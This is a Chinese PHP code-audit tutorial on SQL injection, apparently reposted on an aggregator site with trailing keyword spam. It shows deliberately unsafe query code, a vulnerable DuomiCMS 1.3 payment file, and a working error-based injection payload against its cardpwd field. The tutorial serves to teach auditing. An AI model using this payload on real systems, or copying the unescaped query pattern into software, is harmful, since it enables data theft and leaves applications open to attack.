PHP代码审计SQL注入篇
发表于:2024-09-22 作者:千家信息网编辑
千家信息网最后更新 2024年09月22日,什么是SQL注入SQL注入***(SQL Injection),简称注入***,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶
千家信息网最后更新 2024年09月22日PHP代码审计SQL注入篇
另外一个多米CMS最新版1.3版本注入实例。漏洞文件member/mypay.php(14-40行)
此处的"cardpwd"变量没有进行过滤就以POST提交方式传入了数据库造成注入。 构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行):
来自为知笔记(Wiz)
什么是SQL注入
SQL注入***(SQL Injection),简称注入***,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。
而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使***者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将***者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了***者精心构造的恶意代码。
SQL注入实例
很多Web开发者没有意识到SQL查询是可以被篡改的,从而把SQL查询当作可信任的命令。殊不知,SQL查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过SQL查询去运行主机系统级的命令。
下面将通过一些真实的例子来详细讲解SQL注入的方式。
测试代码如下:
php
$uid=$_GET['id'];
$sql="SELECT * FROM userinfo where id=$uid";
$conn=mysql_connect ('localhost','root','root');
mysql_select_db("sql",$conn);
$result=mysql_query($sql,$conn);
print_r('当前SQL语句: '.$sql.'
结果: ');print_r(mysql_fetch_row($result));
?>
$uid=$_GET['id']; //获取GET值
$sql="SELECT * FROM userinfo where id=$uid"; //执行SQL语句
$conn=mysql_connect ('localhost','root','root');
mysql_select_db("sql",$conn); //数据库配配置
$result=mysql_query($sql,$conn); //进行查询SQL语句
print_r('当前SQL语句: '.$sql.'
结果: ');print_r(mysql_fetch_row($result)); //进行打印输出没有任何的过滤所以利用简单的SQL注入语句就可以直接查询相关需要的信息。
另外一个多米CMS最新版1.3版本注入实例。漏洞文件member/mypay.php(14-40行)
if(empty($_SESSION['duomi_user_id'])){
showMsg("请先登录","login.php");
exit();
}
elseif($dm=='mypay'){
$key=$_POST['cardkey'];
if($key==""){showMsg("请输入充值卡号","-1");exit;}
$pwd=$_POST['cardpwd'];
if($pwd==""){showMsg("请输入充值卡密码","-1");exit;}
$sqlt="SELECT * FROM duomi_card where ckey='$key'";
$sqlt="SELECT * FROM duomi_card where cpwd='$pwd'";
$row1 = $dsql->GetOne($sqlt);
if(!is_array($row1) OR $row1['status']<>0){
showMsg("充值卡信息有误","-1");exit;
}else{
$uname=$_SESSION['duomi_user_name'];
$points=$row1['climit'];
$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'");
$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'");
$dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username='$uname'");
showMsg("恭喜!充值成功!","mypay.php");exit;
}
}
else
{
此处的"cardpwd"变量没有进行过滤就以POST提交方式传入了数据库造成注入。 构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行):
http://localhost/member/mypay.php?dm=mypay
POST:cardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1
来自为知笔记(Wiz)
查询
语句
数据
数据库
用户
代码
输入
信息
恶意
文件
成功
命令
实例
方式
权限
漏洞
程序
系统
结果
充值卡
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
宁波企业软件开发流程
服务器解析json数据
软件开发证书好考么
上海智能软件开发
软件网络技术怎么样
网络技术应用专业适合女生吗
互联网加科技的认识100字
杭州管理软件开发收费多少
南京创新软件开发管理方法
福建中职网络安全比赛答案
软件开发课件
软件开发优秀简历模板下载
网易我的世界如何连接到服务器
软件开发服务水平
服务器管理安全
数据服务器的运行情况报告
网络安全培训图
中国十大软件开发的公司
软件工程跟软件开发什么区别
计算机网络技术是计算机
访问网络服务器
泗洪个性化网络技术诚信合作
手机mysql数据库管理
用友财务通数据库修改
2015三级网络技术真题
安徽数据软件开发服务应用
服务器安全狗的卸载
手机有线网络技术
数据服务器的运行情况报告
选课系统数据库设计ppt